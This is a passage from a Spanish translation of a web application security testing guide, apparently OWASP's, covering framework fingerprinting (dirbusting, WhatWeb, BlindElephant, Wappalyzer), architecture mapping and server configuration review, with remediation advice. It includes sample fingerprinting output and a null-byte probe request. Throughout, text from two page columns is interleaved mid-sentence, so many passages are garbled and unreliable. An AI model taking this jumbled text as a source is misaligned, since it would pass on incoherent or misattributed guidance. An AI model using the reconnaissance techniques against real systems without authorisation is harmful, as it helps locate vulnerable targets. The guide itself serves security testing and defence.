De la metaetiqueta siguiente, uno puede aprender fácilmente la

aplicación que utiliza un sitio web y su versión. El comentario,
rutas específicas y variables de script pueden ayudar a un
atacante para determinar rápidamente una instancia de una
aplicación.
<meta name="”generator”" content="”WordPress" 3.9.2”="">

65
Con mayor frecuencia, dicha información se coloca entre etiquetas

<head></head>, en etiquras <meta> o al final de la página. Sin embargo, se
recomienda revisar todo el documento ya que puede ser útil para otros
propósitos tales como inspección de otros comentarios
útiles y campos ocultos.
Archivos y carpetas específicos
Aparte de la información reunida de fuentes HTML, existe otro enfoque que

ayuda enormemente a un atacante a determinar la aplicación con una alta
precisión. Cada aplicación tiene su propia estructura específica de archivos y
carpetas en el servidor. Se ha señalado que se puede ver la ruta de acceso
específica desde la fuente de la página HTML, pero a veces no se presentan
explícitamente allí y todavía residen en el servidor.
Con el fin de descubrirlos se utiliza una técnica conocida como dirbusting.

Dirbusting es forzar un objetivo con nombres de carpetas y archivos
predecibles y monitorear las respuestas HTTP para enumerar el contenido del
Consejo: antes de iniciar el dirbusting, se recomienda revisar primero el
servidor. Esta información puede utilizarse tanto para buscar archivos por
archivo robots.txt. A veces se pueden encontrar allí también las carpetas
defecto y atacarlos, como para dejar huellas digitales en la aplicación web.
específicas de la aplicación y otra información sensible. Abajo se presenta un
Dirbusting se puede hacer de varias maneras; el ejemplo siguiente muestra un
ejemplo de un archivo robots.txt de este tipo en una captura de pantalla.
ataque exitoso mediante dirbusting contra un objetivo impulsado por
WordPress con la ayuda de la lista definida y la funcionalidad de intruso de
Burp Suite.
Las carpetas y archivos específicos son diferentes para cada aplicación. Se
recomienda instalar la aplicación correspondiente durante las pruebas de
penetración para tener un mejor entendimiento de qué infraestructura se utiliza
y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias
listas buenas de archivos y un buen ejemplo es la lista de archivos FuzzDB de
documentos y carpetas predecibles (http://code.google.com/p/fuzzdb/).
Podemos ver que para algunas carpetas de WordPress-específicas (por Identificadores de aplicación común
ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son
403 (prohibido), 302 (encontrado, redirección a wp-login.php) y 200 (OK), Cookies
respectivamente. Este es un buen indicador de que el objetivo es alimentado
por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones
plugin y sus versiones. En la imagen siguiente puede ver un archivo
CHANGELOG, típico de un plugin Drupal, que proporciona información
sobre la aplicación que está siendo usada y revela una versión del plugin
vulnerable.

66
Actualmente, una de las mejores herramientas de huellas digitales en el

mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
• Cadenas de texto (mayúsculas y minúsculas)
• Expresiones regulares
• Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
• MD5 hashes
• Reconocimiento de URL
• Etiquetas de patrones HTML
• Códigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
Código fuente HTML
BlindElephant
Página web: community.qualys.com
Esta magnífica herramienta funciona mediante el principio de checksum (suma

de comprobación) de archivos estáticos basados en la diferencia de la versión,
Más información: www.owasp.org proporcionando así una alta calidad de huellas digitales. Idioma:Python
Herramientas Muestra de respuesta de una huella digital exitosa:
A continuación se presenta una lista general de herramientas conocidas.

También hay una gran cantidad de otras utilidades, así como herramientas de
huellas digitales basadas en frameworks.
WhatWeb:
Sitio web: morningstarsecurity.com

67
utilizadas para construir el sitio web de destino inmediatamente después de

pentester$ python BlindElephant.py http://my_target drupal navegar por una página.
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl
with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at

http://my_target
Una muestra de la respuesta del plugin se presenta en la siguiente captura de
pantalla:
Hit http://my_target/CHANGELOG.txt

fingerprint. 527b085a3717bd691d47713dff74acf4
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt Referencias
File produced no match. Error: Retrieved file doesn’t match known Libros Blancos
fingerprint. 36b740941a19912f3fdbfcca7caa08ca
• Saumil Shah: “An Introduction to HTTP fingerprinting” - net-square.com

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9,
7.10, 7.11, 7.12, 7.13, 7.14
• Anant Shrivastava : “Web Application Finger Printing” - anantshri.info
...
Remediación
Fingerprinting resulted in:
El consejo general es usar varias de las herramientas descritas anteriormente y
verificar los registros para entender exactamente lo que ayuda a un atacante a
Wappalyzer
revelar el framework web. Mediante la realización de múltiples análisis
Página web: http://wappalyzer.com después de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
Wapplyzer es un plugin de Firefox Chrome. Sólo funciona en coincidencias framework no puede ser detectado por análisis automáticos. A continuación se
de expresiones regulares y no necesita otra cosa que cargar la página en el presentan algunas recomendaciones específicas, de acuerdo a la ubicación del
navegador. Funciona totalmente a nivel de marcador del framework y algunos enfoques adicionales interesantes.
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos Encabezados HTTP
positivos, esto es muy útil para tener una noción de qué tecnologías fueron

68
Compruebe la configuración y desactive u ofusque todos los encabezados • Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a
HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: htaccess y agregando RewriteCond o RewriteRule allí. A continuación se
grahamhosking.blogspot.ru presenta un ejemplo de tal restricción para dos carpetas comunes de
WordPress.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]

Cookies
RewriteCond %{REQUEST_URI} /wp-admin/$
Se recomienda cambiar los nombres de las cookies al hacer cambios en los
archivos de configuración correspondientes.
RewriteRule $ /http://your_website [R=404,L]
Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
Código fuente HTML
wordpress.org.
Compruebe manualmente el contenido del código HTML y elimine todo lo
que explícitamente señala el framework.
Enfoques adicionales
Guías generales: Guías generales:
[1] gestión de checksum
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer a los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
• Retire etiquetas de generación y META.

• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a
• Utilice los archivos css o js propios de la empresa y no los almacene otra carpeta, o cambiar el nombre de la carpeta existente)
• Modificar el contenido - incluso una ligera modificación resulta en una suma

de hash completamente diferente, así que añadir un solo byte en el final del
archivo no deben ser un gran problema.
en carpetas de frameworks específicos.
• No utilice secuencias de comandos predeterminados en la página ni los [2] Caos controlado

ofusque si deben utilizarse.
Un método divertido y eficaz que implica agregar archivos y carpetas falsos
a los escáneres y confundir a un
desde otros frameworks para engañar
Archivos y carpetas especificas atacante. ¡Pero tenga cuidado de no sobreescribir las carpetas
y archivos existentes o romper el framework actual!.
Guias generales:
• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica Cree un mapa de la arquitectura de la
archivos de texto que revelen información sobre las versiones y la instalación
también.
aplicación (OTG-INFO-010)
Resumen

69
La complejidad de la infraestructura de servidores web interconectados y mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposición y
heterogéneos puede incluir cientos de aplicaciones web y hace de la gestión de amplia el mapa de arquitectura. El evaluador comenzará haciendo preguntas simples
configuración y de la revisión un paso fundamental en la prueba e como: "¿existe un sistema firewalling que protege al servidor web?". Esta pregunta
implementación de cada aplicación. De hecho, se necesita sólo una se responderá a partir de los resultados del análisis de red orientada hacia el servidor
vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso web y el análisis de si los puertos de red del servidor web se están filtrando en el
problemas pequeños y sin importancia aparente pueden convertirse en serios límite de la red (no se recíbe ninguna respuesta o se reciben mensajes de ICMP
riesgos para otra aplicación en el mismo servidor. inalcanzables) o si el servidor está conectado directamente a Internet (es decir,
devuelve paquetes RST para todos los puertos de no audio). Este análisis puede ser
mejorado para determinar el tipo de firewall utilizado, basado en pruebas de
paquetes de red. ¿Es el firewall una aplicación de estado completo o es un filtro de
Para abordar estos problemas, es de suma importancia llevar a cabo lista de acceso en un ruteador? ¿Cómo está configurado? ¿Puede evitarse?
una profunda revisión de la configuración y problemas de seguridad Detectar a un proxy inverso delante de un servidor web debe hacerse por el análisis
conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de del banner del servidor web, que podría revelar directamente la existencia de un
la red y de la arquitectura de la aplicación. Los diferentes elementos que proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). También puede ser
conforman la infraestructura necesitan ser determinados para entender cómo determinado mediante la obtención de las respuestas dadas por el servidor web a las
interactúan con una aplicación web y cómo ellos afectan a la seguridad. peticiones y comparándolas con las respuestas esperadas. Por ejemplo, algunos
proxys inversos actúan como "sistemas de prevención de intrusiones" (o escudos
web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el
servidor web responde con un mensaje 404 a una petición que se dirige a una página
que no está disponible y devuelve un mensaje de error diferente para algunos ataques
web comunes como los realizados por escáneres CGI, podría ser una indicación de
Cómo probar que existe un proxy inverso (o un firewall de nivel de aplicación) que está filtrando
las solicitudes y devuelve una página de error diferente a lo que se espera. Otro
Cree un mapa de la arquitectura de la aplicación ejemplo: Si el servidor web devuelve un
Se debe crear el mapa de la arquitectura de la aplicación mediante algunas conjunto de métodos HTTP disponibles (incluyendo TRACE) pero los métodos
pruebas para determinar qué componentes se usan para construir la aplicación esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
web. En instalaciones pequeñas, una sencilla aplicación basada en CGI podría
utilizar un solo servidor para que corra el servidor web que ejecuta la
aplicación C, Perl o Shell CGIs y quizás también el mecanismo de
autenticación. En algunos casos, incluso el sistema de protección se entrega a sí mismo:
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

En configuraciones más complejas, tales como un sistema de banca en línea, pueden
estar involucrados múltiples servidores. Estos pueden incluir un proxy inverso, un HTTP/1.0 200
servidor web de acceso frontal (front-end), un servidor de aplicaciones y un servidor
Pragma: no-cache
de base de datos o servidor de LDAP. Cada uno de estos servidores se utilizan para
propósitos diferentes y podrían incluso estar divididos en diferentes redes con Cache-Control: no-cache
firewalls entre ellos. Esto crea diferentes DMZ para que el acceso al servidor web no
conceda un acceso de usuario remoto al mismo mecanismo de autenticación, y para Content-Type: text/html
que los riesgos de los diferentes elementos dentro de la arquitectura pueden ser
aislados para que no comprometerán el resto de la arquitectura. Content-Length: 83
Obtener conocimiento de la arquitectura de la aplicación puede ser fácil si esta <TITLE>Error</TITLE>

información es proporcionada al equipo de pruebas por los desarrolladores de la
aplicación en un documento o a través de entrevistas, pero también puede resultar
muy difícil si se hace una prueba de penetración ciega.
Ejemplo del servidor de seguridad del punto de chequeo Firewall-1 NG AI

En este último caso, un evaluador comenzará primero con el supuesto de que existe "que protege" un servidor web:
una configuración simple (un solo servidor). Entonces él recupera la información

70
Los proxys inversos también se pueden presentar como proxy-caché para acelerar [1] WebSEAL, también conocido como Tivoli Authentication Manager, es un
el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La proxy inverso de IBM que es parte del framework de Tivoli.
detección de estos proxies puede hacerse a base del encabezado del servidor.
También pueden detectarse tomando el tiempo de las peticiones que deben ser [2] Hay algunas herramientas de administración basadas en GUI para Apache
almacenadas en caché por el servidor de sincronización y comparando el tiempo de (como NetLoony), pero todavía no son de uso generalizado.
la primera solicitud con las solicitudes subsiguientes.
Pruebas para gestionar la configuración

Otro elemento que puede detectarse son los equilibradores de carga de red. Por lo
general, estos sistemas equilibrarán un determinado puerto TCP/IP en varios Entender la configuración desplegada del servidor que aloja la aplicación web es
servidores basados en algoritmos diferentes (cadena de mensajes, la carga del casi tan importante como las pruebas de seguridad de la aplicación misma. Después
servidor web, número de solicitudes, etc.). Por lo tanto, la detección de este de todo, una cadena de aplicaciónes sólo es tan fuerte como su eslabón más débil.
elemento de la arquitectura debe hacerse examinando varias solicitudes y Las plataformas de aplicación son amplias y variadas, pero algunos errores de
comparando los resultados para determinar si las solicitudes van al mismo servidor configuración claves en la plataforma pueden comprometer la aplicación de la
o a diferentes servidores. Por ejemplo, basado en el encabezado de fecha si los misma manera que una aplicación no segura puede comprometer el servidor.
relojes del servidor no están sincronizados. En algunos casos, el proceso de
equilibrio de carga de red puede inyectar nueva información en los encabezados
que destacan claramente, como la cookie de AlteonP introducida por el
equilibrador de carga de Nortel Alteon WebSystems.
Pruebe la configuración de la infraestructura y
la red (OTG-CONFIG-001)
Los servidores de aplicaciones web son generalmente fáciles de detectar. La
solicitud de varios recursos es manejada por el mismo servidor de aplicaciones (no
Resumen
por el servidor web) y el encabezado de respuesta variará significativamente
La complejidad intrínseca de una infraestructura de servidor web interconectada y
(incluyendo valores diferentes o adicionales en el encabezado de respuesta). Otra
heterogénea, que puede incluir cientos de aplicaciones web, hace de la gestión de la
forma de detectar esto es ver si el servidor web intenta establecer cookies, las cuales
configuración y revisión un paso fundamental en la prueba e implementación de
son indicativas de que se utiliza un servidor de aplicación web (como el
cada aplicación. Toma sólo una vulnerabilidad el socavar la seguridad de toda la
JSESSIONID proporcionado por algunos servidores J2EE), o para reescribir URL
infraestructura y problemas e incluso problemas pequeños y aparentemente sin
automáticamente para hacer seguimiento de sesiones.
importancia pueden convertirse en serios riesgos para otra aplicación en el mismo
servidor. Para abordar estos problemas, es de suma importancia llevar a cabo una
profunda revisión de la configuración y problemas de seguridad conocidos, después
de haber creado un mapa de toda la arquitectura.
La autenticación de acceso restringido (como los directorios LDAP, bases de datos
relacionales o servidores RADIUS), sin embargo, no es tan fácil detectarlos de
Una gestión apropiada de la configuración la infraestructura del servidor de web
manera inmediata desde un punto de vista externo, ya que estarán ocultos por la
es muy importante para preservar la seguridad de la propia aplicación. Si elementos
propia aplicación.
como el software del servidor web, los servidores de base de datos de back-end o
los servidores de autenticación no está revisados y asegurados, podrían presentar
riesgos no deseados o introducir nuevas vulnerabilidades que podrían comprometer
El uso de una base de datos de acceso restringido puede determinarse simplemente a la propia aplicación.
navegando por una aplicación. Si hay contenido dinámico generado "sobre la
marcha", probablemente es que está siendo extraído desde algún tipo de base de
datos por la propia aplicación. A veces, la manera en que se solicite información
Por ejemplo, una vulnerabilidad del servidor web que permite a un atacante
podría dar conocimientos sobre la existencia de una base de datos de acceso
remoto revelar el código fuente de la aplicación en sí (una vulnerabilidad que ha
restringido. Por ejemplo, una aplicación de compras en línea que utiliza
aparecido varias veces en servidores web o servidores de aplicaciones) podría
identificadores numéricos ('id') al navegar por los distintos artículos de la tienda.
comprometer la aplicación, como los usuarios anónimos pueden utilizar la
Sin embargo, cuando se hace una prueba de aplicación ciega, el conocimiento de la
información divulgada en el código fuente para realizar los ataques contra la
base de datos subyacente generalmente está solamente disponible cuando aparece
aplicación o sus usuarios.
una vulnerabilidad en la aplicación, como un pobre manejo de excepciones o una
susceptibilidad a la inyección de SQL.
Los siguientes pasos deben tomarse para poner a prueba la infraestructura de

gestión de configuración:
Referencias

71
• Los diferentes elementos que conforman la infraestructura deben ser versión del servidor web cuando las vulnerabilidades se arreglan, la herramienta de
determinados con el fin de comprender cómo interactúan con una aplicación web y análisis marcará vulnerabilidades que no existen. Este último caso es realmente
cómo afectan a su seguridad. muy común, ya que algunos proveedores de sistemas operativos instalan parches
para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al
• Todos los elementos de la infraestructura deben revisarse para asegurarse de que software que proporcionan en el sistema operativo, pero no hacen una carga
no contienen vulnerabilidades conocidas. completa de la última versión de software. Esto sucede en la mayoría de las
distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayoría de los
• Debe hacerse una revisión de las herramientas administrativas usadas para dar casos, el análisis de vulnerabilidad de una arquitectura de aplicación sólo
mantenimiento a los diferentes elementos. encontrará vulnerabilidades asociadas a los elementos "expuestos" de la
arquitectura (como el servidor web) y suelen ser incapaces de encontrar
• Los sistemas de autenticación necesitan ser revisados para asegurarse que sirven a vulnerabilidades asociadas a elementos que no están directamente expuestos, tales
las necesidades de la aplicación y que no pueden ser manipulados por los usuarios como la autenticación en segundo plano (back end), o la base de datos acceso
externos para obtener el acceso. restringido, o el proxy inverso que se encuentra en uso.
• Una lista de puertos definidos que se requieren para la aplicación debe recibir
mantenimiento y debe guardarse con un control de cambios.
Por último, no todos los proveedores de software revelan vulnerabilidades de
manera pública y, por lo tanto, estas debilidades no son registradas dentro de bases
de datos de vulnerabilidades conocidas públicamente[1]. Esta información sólo es
Después de haber elaborado un mapa de los diferentes elementos que conforman revelada a los clientes o publicada a través de soluciones que no van acompañadas
la infraestructura (vea mapa de red y arquitectura de la aplicación), es posible de advertencias. Esto reduce la utilidad de las herramientas de análisis de
revisar la configuración de cada elemento encontrado y probarlos en busca de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas
cualquier vulnerabilidad conocida. herramientas será muy buena para los productos comunes (como el servidor web
Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no
cumplirán con productos menos conocidos.
Cómo probar
Vulnerabilidades conocidas de los servidores Por esta razón, la revisión de vulnerabilidades se realiza mejor cuando al evaluador
se le proporciona información interna del software utilizado, incluyendo versiones
Las vulnerabilidades encontradas en las diferentes áreas de la arquitectura de la y actualizaciones usadas y parches aplicados al software. Con esta información, el
aplicación, ya sea en el servidor web o en la base de datos de acceso restringido, evaluador puede recuperar la información del mismo proveedor y analizar qué
pueden comprometer seriamente a la propia aplicación. Por ejemplo, considere vulnerabilidades pueden estar presentes en la arquitectura y cómo pueden afectar a
una vulnerabilidad del servidor que permite a un usuario remoto no autenticado la aplicación en sí. Cuando sea posible, estas vulnerabilidades pueden analizarse
subir archivos al servidor web o incluso reemplazar los archivos. Esta para determinar sus efectos reales y detectar si pueden haber elementos
vulnerabilidad podría comprometer la aplicación, ya que un usuario granuja
puede ser capaz de reemplazar la aplicación o introducir un código que puede
afectar a los servidores de acceso restringido, ya que el código de la aplicación
del atacante funcionaría como cualquier otra aplicación. externos (tales como sistemas de detección o prevención de intrusiones) que
podrían reducir o negar la posibilidad de explotación exitosa. Los evaluadores
podrían determinar incluso, a través de una revisión de la configuración, que la
vulnerabilidad no está presente, puesto que afecta a un componente de software que
La revisión de vulnerabilidades del servidor puede ser difícil de efectuar si la no está en uso.
prueba debe hacerse a través de una prueba de penetración ciega. En estos casos,
las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando
una herramienta automatizada. Sin embargo, las pruebas de algunas
vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no También vale la pena señalar que los vendedores a veces solucionan las
sería posible probar para otros, (como aquellos directamente involucrados en la vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas
negación de ataques al servicio), debido a la reducción de la calidad de tiempo versiones de software. Los diferentes proveedores tendrán diversos ciclos de
de servicio involucrado si la prueba fuera exitosa. lanzamiento que determinan el apoyo que pueden proporcionar para versiones más
antiguas. Un evaluador con información detallada de las versiones del software
utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones
viejas de software que podrían no tener soporte en el corto plazo o que ya no
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una
versión obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. versión antigua de software, que ya no tiene soporte, el personal de sistemas podría
Por un lado, si la versión del servidor web ha sido eliminada u oscurecida por el no estar directamente consciente de ello. No habrán parches disponibles para él y
administrador del sitio local, la herramienta de análisis no marcará al servidor como las advertencias no pondrán en la lista a esa versión como vulnerable ya que no
vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la tiene soporte. Incluso, en el caso de que estén conscientes de que existe la
72
vulnerabilidad y el sistema es vulnerable, tendrían que hacer una actualización

completa a una nueva versión de software, que podría aumentar significativamente
el tiempo de inactividad en la arquitectura de la aplicación o puede forzar a la Referencias
aplicación a ser recodificada, debido a incompatibilidades con la versión más
reciente del software. [1] WebSEAL, también conocida como Tivoli Authentication Manager, es un
proxy inverso de IBM que es parte del framework Tivoli framework.
[2] Tal como Symantec’s Bugtraq, ISS’ X-Force, o NIST’s National Vulnerability
Herramientas administrativas Database (NVD).
Cualquier infraestructura de servidor web requiere la existencia de herramientas [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero
administrativas para dar mantenimiento y actualizar la información utilizada por la no se usan masivamente todavía.
aplicación. Esta información incluye contenido estático (páginas web, archivos
gráficos), código fuente de la aplicación, bases de datos de autenticación de
usuario, etc. Las herramientas administrativas serán diferentes según el sitio, la
tecnología o el software utilizado. Por ejemplo, algunos servidores se gestionan Pruebe la Configuración de la Plataforma de
mediante interfaces administrativas, que son estos mismos servidores web (como el
servidor web iPlanet) o serán administradas por archivos de texto con la Aplicaciones (OTG-CONFIG-002)
configuración (en caso del Apache[2]) que usen un sistema operativo GUI tools (al
usar el servidor IIS o ASP.Net de Microsoft). Resumen
Es imporante una adecuada configuración de los elementos individuales que

conforman la arquitectura de una aplicación, para prevenir errores que podrían
En la mayoría de los casos se controlará la configuración del servidor con comprometer la seguridad de la arquitectura entera.
diferentes herramientas de mantenimiento de archivos utilizados por el servidor
web, los cuales son administrados a través de servidores FTP, WebDAV, sistemas
de archivos de red (NFS, CIFS) u otros mecanismos. Obviamente, el sistema
operativo de los elementos que componen la arquitectura de la aplicación también Revisar y probar la configuración es una tarea fundamental en la creación y
se gestionará utilizando otras herramientas. Las aplicaciones también pueden tener mantenimiento de una arquitectura. Esto es porque muchos sistemas diferentes
interfaces administrativas incrustadas en ellas, que se utilizan para gestionar los generalmente cuentan con configuraciones genéricas que podrían no ser adecuadas
datos mismos de la aplicación (usuarios, contenido, etc.). para la tarea que se llevará a cabo en el sitio específico donde están instaladas.
Después de haber elaborado mapas de las interfaces administrativas utilizadas para Mientras que la instalación tipica del servidor de la web y de la aplicación
administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si contendrá mucha funcionalidad (como ejemplos de aplicación, documentación,
un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o páginas de prueba) lo que no es esencial debe retirarse antes de la implementación
dañar la arquitectura de la aplicación. Para ello es importante: para evitar la explotación de estos después de la instalación.
• Determinar los mecanismos que controlan el acceso a estas interfaces y sus

vulnerabilidades asociadas. Esta información puede estar disponible en línea.
• Cambiar el usuario y contraseña generados automáticamente.

Cómo probar

Algunas empresas optan por no gestionar todos los aspectos de sus aplicaciones de
servidor web, pero pueden tener otros equipos gestionando el contenido entregado Archivos y directorios de muestra y conocidos
por la aplicación web. Esta empresa externa puede solamente proporcionar partes
de los contenidos (actualizaciones de noticias o promociones) o puede administrar Muchos servidores web y servidores de aplicaciones proporcionan, en una
el servidor de web totalmente instalación por defecto, aplicaciones y archivos de muestra que se entregan para
beneficio del desarrollador y para probar que el servidor está funcionando
(incluyendo contenido y código). Es común encontrar interfaces administrativas correctamente justo después de la instalación. Sin embargo, muchas aplicaciones de
disponibles desde Internet en estas situaciones, ya que usar el Internet es más barato servidor web por defecto han sido determinadas como vulnerables. Este fue el caso,
que tener una línea dedicada que conecte a la empresa externa únicamente con la por ejemplo, de CVE-1999-0449 (denegación de servicio en IIS cuando se instaló
infraestructura de la aplicación a través de una interfaz de gestión. En esta el sitio de muestra de Exair), CAN-2002-1744 (vulnerabilidad de salto de directorio
situación, es muy importante comprobar si las interfaces administrativas son en CodeBrws.asp en Microsoft IIS 5.0), CAN-2002-1630 (uso de sendmail.jsp en
vulnerables a ataques.

73
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de código Es imposible decir genéricamente cómo debe configurarse un servidor, sin
fuente en Cocoon de Apache). embargo, algunas pautas comunes deben tomarse en cuenta:
Los escáneres CGI incluyen una lista detallada de archivos conocidos y las • Sólo habilite módulos de servidor (extensiones ISAPI en IIS) que son necesarios
muestras de directorio que son entregadas por diferentes servidores web o de para la aplicación. Esto reduce la superficie de ataque puesto que el servidor se
aplicaciones, y pueden ser una forma rápida de determinar si estos archivos están reduce en tamaño y complejidad al desactivar módulos del software. También evita
presentes. Sin embargo, la única manera para estar totalmente seguro es hacer una que las vulnerabilidades que podrían aparecer en el software del proveedor afecten
revisión completa de los contenidos del servidor web o servidor de aplicaciones y al sitio si sólo están presentes en los módulos que han sido ya desactivados.
determinar si están relacionados con la aplicación propiamente dicha o no.
• Maneje los errores del servidor (40x o 50x) con páginas personalizadas en vez de
usar las páginas genéricas del servidor web. Específicamente asegúrese de que los
errores de aplicación no serán devueltos al usuario final y que ningún código se
Revisión de comentarios filtre a través de estos errores, ya que esto ayudaría al atacante. Es realmente muy
común olvidar este punto ya que los desarrolladores necesitan esta información en
Es muy común, e incluso se recomienda a los programadores, que incluyan entornos de preproducción.
comentarios detallados en su código fuente para permitir a otros
• Asegúrese de que el software del servidor se ejecuta con privilegios mínimos del
sistema operativo. Esto evita que un error en el software del servidor comprometa
directamente todo el sistema, aunque un atacante podría elevar los privilegios una
programadores entender por qué se tomó una determinada decisión en la vez que ejecute códigos como servidor web.
codificación de una función dada. Los programadores suelen añadir comentarios al
desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios • Asegúrese de que el software de servidor registra correctamente accesos legítimos
incluidos en líneas de código HTML podrían revelar información interna que no y errores.
debería estar disponible para un atacante. A veces, incluso existe el comentario de
haber retirado el código fuente ya que una funcionalidad ya no es necesaria, pero • Asegúrese de que el servidor está configurado para manejar las sobrecargas
este comentario se fuga hacia afuera, a las páginas HTML que se devuelven a los adecuadamente y evitar ataques de denegación de servicio. Asegúrese de que el
usuarios accidentalmente. servidor ha sido calibrado correctamente en su rendimiento.
• Nunca conceda acceso con identidades no administrativas (con la excepción de

NTSERVICE\WMSvc) acceso a applicationHost.config, redirection.config y
La revisión de comentarios debe realizarse con el fin de determinar si cualquier administration.config (lectura o escritura). Esto incluye el servicio de red,
información puede fugarse a través de comentarios. Esta revisión es completamente IIS_IUSRS, IUSR o cualquier identidad personalizada utilizada por grupos de
posible solamente a través de un análisis de los contenidos de los servidores web aplicaciones IIS. Los procesos de trabajo IIS no necesitan tener acceso a estos
estáticos y dinámicos y búsquedas de archivo. Puede ser útil navegar por el sitio de archivos directamente.
una manera automática o guiada y almacenar todo el contenido obtenido. El
contenido obtenido puede ser buscado posteriormente con el fin de analizar los
comentarios HTML en el código.
• Nunca comparta applicationHost.config, redirection.config y
administration.config en la red. Cuando use configuraciones de exportación
compartidas, prefiera exportar applicationHost.config a otro lugar (véase la sección
Pruebas de Caja Gris titulada "configuración de permisos de configuración compartida").
Revisión de la configuración
La configuración del servidor web o del servidor de aplicaciones toma un papel

importante en la protección de los contenidos del sitio y debe ser revisada
cuidadosamente para detectar errores de configuración comunes. Obviamente, la • Tenga en cuenta que todos los usuarios pueden leer el framework de
configuración recomendada varía en función de la política del sitio y la configuración .NET machine.config y archivos base web.config por defecto. No
funcionalidad que debe ser proporcionada por el software del servidor. En la almacene información confidencial en estos archivos si fuese solo para
mayoría de los casos, sin embargo, deben revisarse las pautas de la configuración administradores.
(ya sean proporcionadas por el proveedor de software o por personas externas) para
determinar si el servidor ha sido correctamente asegurado. • Encripte la información sensible que debe ser leída únicamente por los procesos
de trabajo de IIS y no por otros usuarios de la máquina.

74
• No conceda permisos de escritura a la identidad que el servidor Web utiliza para Registros de Información sensible
tener acceso a applicationHost.config compartida. Esta identidad debe tener
permisos de sólo lectura. Algunas aplicaciones, por ejemplo, podrían utilizar peticiones GET para
enviar datos de formularios que serán vistas en los registros del servidor.
• Utilice una identidad separada para publicar applicationHost.config al recurso Esto significa que los registros de servidor pueden contener información
compartido. No use esta identidad para configurar el acceso a la configuración sensible (como nombres de usuario, como contraseñas o datos
compartida en los servidores Web. bancarios). Esta información sensible puede ser mal utilizada por un
atacante si obtuvo los registros, por ejemplo, a través de interfaces
• Utilice una contraseña de alta seguridad cuando exporte las claves de encriptación administrativas o vulnerabilidades o malas configuraciones conocidas del
para su uso con configuraciones compartidas. servidor web (como la configuración conocida del estado del servidor en
servidores basados en
• Mantenga el acceso restringido a la partición que contiene la configuración
compartida y las claves de encriptado. Si esta partición está comprometida, un Apache HTTP).
atacante podrá leer y escribir cualquier configuración de IIS para los servidores
Web, redirigir el tráfico de su sitio web hacia fuentes maliciosas y, en algunos
casos, obtener el control de todos los servidores web mediante la carga de códigos
arbitrarios en los procesos de trabajo IIS. A menudo, los registros de sucesos contienen datos que son útiles para un
atacante (fuga de información), o pueden ser utilizados directamente en
• Considere proteger esta parte con las reglas del firewall y las directivas de IPsec explotar:
para permitir que únicamente los servidores web miembros se conecten.
• Depuración de la información
Registro
• Rastros de apilamiento
El registro es un aspecto importante de la seguridad de la arquitectura de
una aplicación, ya que puede ser utilizada para detectar fallos en las • Nombres de usuario
aplicaciones (usuarios que intentan constantemente recuperar un archivo
que no existe realmente), así como de ataques sostenidos de los usuarios • Nombres de componentes del sistema
granujas. Los registros no se generan correcta y típicamente por la web y
otro servidor de software. No es común encontrar aplicaciones que • Direcciones IP internas
registran correctamente sus acciones en un registro y, cuando lo hacen, la
intención principal de los registros de aplicación es producir resultados • Datos personales menos sensibles (por ejemplo direcciones de correo electrónico,
de depuración que podría utilizar el programador para analizar un error direcciones postales y números de teléfono asociados con individuos nombrados)
determinado.
• Datos del negocio
En ambos casos (registros de servidor y aplicación) varios temas deben

